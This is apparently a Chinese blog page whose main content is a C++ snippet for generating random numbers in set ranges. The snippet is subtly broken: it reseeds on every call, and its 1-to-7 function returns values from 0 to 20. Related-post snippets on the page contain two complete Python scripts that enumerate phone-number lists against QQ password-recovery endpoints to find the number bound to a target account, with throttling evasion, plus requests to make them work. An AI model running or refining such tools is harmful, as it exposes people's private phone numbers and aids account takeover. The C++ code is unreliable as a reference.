generate_rand_numbers

本文介绍了一种使用C++生成特定范围内的随机数的方法。通过定义不同的函数,可以实现生成1到5、1到7之间的随机整数,并且提供了一个更复杂的函数用于生成0或1的概率选择。这些函数利用了srand和rand函数来确保随机性的质量。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#include<iostream>
#include<stdlib.h>
#include<time.h>

//
int rand1to5(){
    int num;
    srand(time(0));
    num = rand() % 5 + 1;
    return num;    
}

int rand1to7(){
    int num ;
    do{
           num = (rand1to5() - 1) * 5 + rand1to5() - 1;
    }while(num > 20);
    return num;    
}

int rand01p(){
   double p =0.83;
   return   rand()%100/(double)101 < p ? 0 : 1;
}

int rand01(){

    int num;
    do{
       num = rand01p();
    }while(num == rand01p());
    return num == 1 ? 1: 0;
}
int main(){
   int num;
   num = rand01();
   std::cout<<num<<std::endl;

    return 0;

}

import requests import concurrent.futures import os import json import time import random import string stop_event = False def generate_random_string(length=4): """生成随机字符串用于请求参数""" return ''.join(random.choices(string.ascii_letters + string.digits, k=length)) def send_request(qq_number, mobile_number, session): """发送验证请求""" mobile_number = f"+86{mobile_number.strip().replace(' ', '')}" url = f"https://accounts.qq.com/psw/find/proxy/domain/qq110.qq.com/v3/queryloginverifymethod?uin={qq_number}" headers = { "Connection": "keep-alive", "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "Origin": "https://accounts.qq.com", "Referer": "https://accounts.qq.com/psw/find?from=2", "User-Agent": "Mozilla/5.0 (Linux; Android 13; Pixel 6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36", "Cookie": f"v2JESdMikHu_Fee9wtiYyDZ-tAFzQT5bUA" } # 动态生成请求参数 current_time = int(time.time()) rand_str = generate_random_string() data = { "com": { "src": 1, "scene": 100501, "platform": 2, "version": "9135", "device": { "platform": "Android", "brand": "Generic", "model": "Generic" }, "unlgn": { "account": qq_number, "sig": "", "uinToken": "", "randstr": rand_str } }, "check": False, "guid": "", "loginTime": current_time, "randStr": rand_str, "appid": 2064145836, "mobile": mobile_number, "areaCode": "+86" } try: response = session.post(url, headers=headers, json=data, timeout=10) if response.status_code == 200: return response.json() print(f"请求失败,状态码: {response.status_code}") return None except Exception as e: print(f"请求异常: {e}") return None def process_number(qq_number, mobile_number, output_file, session): global stop_event if stop_event: return False # 重试机制(最多1次) for attempt in range(1): response = send_request(qq_number, mobile_number, session) if response is None: time.sleep(1) # 失败后等待1秒重试 continue try: result_code = response.get("result", -1) if result_code == 0: print(f"✅ 成功匹配! QQ: {qq_number} -> 手机: {mobile_number}") with open(output_file, 'a') as f: f.write(f"{mobile_number}\n") stop_event = True return True elif result_code == 1: print(f"❌ 手机号 {mobile_number} 不匹配") return False else: print(f"⚠️ 未知响应: {response}") except Exception as e: print(f"解析响应错误: {e}") time.sleep(0.5) # 请求间隔防止过快 print(f"❌ 手机号 {mobile_number} 验证失败") return False def main(): global stop_event qq_number = input("请输入QQ号: ") file_path = input("请输入手机号文件路径: ") output_file = input("请输入结果保存路径: ") if not os.path.isfile(file_path): print(f"错误: 文件不存在 - {file_path}") return try: with open(file_path, 'r') as f: mobile_numbers = [line.strip() for line in f if line.strip()] print(f"已加载 {len(mobile_numbers)} 个手机号") except Exception as e: print(f"读取文件错误: {e}") return # 创建会话保持连接 with requests.Session() as session: with concurrent.futures.ThreadPoolExecutor(max_workers=8) as executor: futures = [] for mobile in mobile_numbers: if stop_event: print("检测到成功结果,终止后续任务") break futures.append(executor.submit( process_number, qq_number, mobile, output_file, session )) # 等待任务完成 for future in concurrent.futures.as_completed(futures): if future.result() is True: executor.shutdown(wait=False, cancel_futures=True) break print("="*50) print("验证完成! 结果保存在:", output_file) print('失忆 @3696132665') if __name__ == "__main__": main()修改这串代码并且能不会有请求失败和状态码404要完整代码
最新发布
08-11
import requests import json import time import random import os def generate_tic(): """生成随机的tic参数值""" timestamp = str(int(time.time())) rand_str = ''.join(random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=16)) return f"{timestamp}_{rand_str}" def verify_qq_binding(qq_number, phone_number): """ 使用新API验证手机号是否绑定指定QQ账号(使用tic参数) :param qq_number: QQ号码 :param phone_number: 手机号码 :return: 绑定状态 (True/False) """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Referer': 'https://aq.qq.com/cn2/findpsw/pc/pc_find_pwd_input_account', 'Origin': 'https://aq.qq.com', 'Content-Type': 'application/json; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest' } # 创建会话保持状态 session = requests.Session() try: # 生成tic参数 tic_value = generate_tic() # 步骤1: 获取初始页面(传递tic参数) init_url = "https://accounts.qq.com/psw/find/proxy/domain/qq110.qq.com/v3/chkrisk" init_params = {'tic': tic_value} session.get(init_url, params=init_params, headers=headers, timeout=10) # 步骤2: 构造API请求参数 api_url = "https://accounts.qq.com/psw/find/proxy/domain/qq110.qq.com/v3/querymbphone" # 构造JSON请求体(包含tic参数) payload = { "aquin": qq_number, "phone": phone_number, "ptredirect": "0", "pw_type": "0", "verifycode": "", "lang": "zh_CN", "appid": "549000912", # QQ安全中心APPID "client_type": "web", "s_url": "https://accounts.qq.com/psw/find/proxy/domain/qq110.qq.com/v3/verifymbphone", "tic": tic_value # 添加tic参数 } # 步骤3: 发送API请求(同时传递tic参数) response = session.post(api_url, params={'tic': tic_value}, # URL参数 data=json.dumps(payload), # JSON体 headers=headers, timeout=15) # 步骤4: 解析API响应 if response.status_code == 200: result = response.json() # 根据API响应结构判断绑定状态 if result.get("code") == 0: # 成功响应 data = result.get("data", {}) # 检查绑定状态字段 if data.get("isBind") == 1 or data.get("bind_status") == 1: return True return False else: # API返回错误代码 print(f"API错误: 代码 {result.get('code')} - {result.get('message')}") return False else: print(f"API请求失败: HTTP {response.status_code}") return False except Exception as e: print(f"验证失败: {str(e)}") return False def batch_verification(qq_number, input_file, output_file): """ 批量验证手机号绑定状态(使用tic参数) :param qq_number: QQ号码 :param input_file: 手机号文件路径 :param output_file: 结果输出文件路径 """ # 检查文件是否存在 if not os.path.exists(input_file): print(f"错误: 输入文件不存在 - {input_file}") return # 读取手机号 with open(input_file, 'r') as f: phone_numbers = [line.strip() for line in f if line.strip()] if not phone_numbers: print("错误: 输入文件中没有有效的手机号") return print(f"开始处理QQ[{qq_number}]的手机号绑定验证...") results = [] # 处理每个手机号 for i, phone in enumerate(phone_numbers): # 跳过非11位数字 if len(phone) != 11 or not phone.isdigit(): status = "无效手机号" print(f"{phone}: {status}") results.append(f"{phone}: {status}") continue # 添加随机延迟避免频繁请求 delay = random.uniform(1.5, 4.0) time.sleep(delay) try: # 验证绑定状态(使用tic参数) is_bound = verify_qq_binding(qq_number, phone) status = "已绑定" if is_bound else "未绑定" print(f"{phone}: {status} - 绑定检查完成 ({i+1}/{len(phone_numbers)})") results.append(f"{phone}: {status}") except Exception as e: status = f"验证失败: {str(e)}" print(f"{phone}: {status}") results.append(f"{phone}: {status}") # 保存结果 with open(output_file, 'w') as f: f.write("\n".join(results)) print(f"\n处理完成! 结果已保存至: {output_file}") def main(): print("=" * 50) print("QQ找回密码接口集成版 v3.0 (TIC参数版)") print("=" * 50) # 用户输入 qq_number = input("请输入QQ号: ").strip() # 默认文件路径 default_input = "/storage/emulated/0/Download/phone_numbers.txt" default_output = "/storage/emulated/0/Download/qq_verification_results.txt" input_file = input(f"请输入手机号文件路径 (默认: {default_input}): ").strip() or default_input output_file = input(f"请输入结果输出文件 (默认: {default_output}): ").strip() or default_output print(f"输入文件路径: {input_file}") print(f"输出文件路径: {output_file}") # 执行批量验证 batch_verification(qq_number, input_file, output_file) print("\n[程序执行完毕]") if __name__ == "__main__": main()把这串代码的接口整合为一个的完整代码弄出来
07-14
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值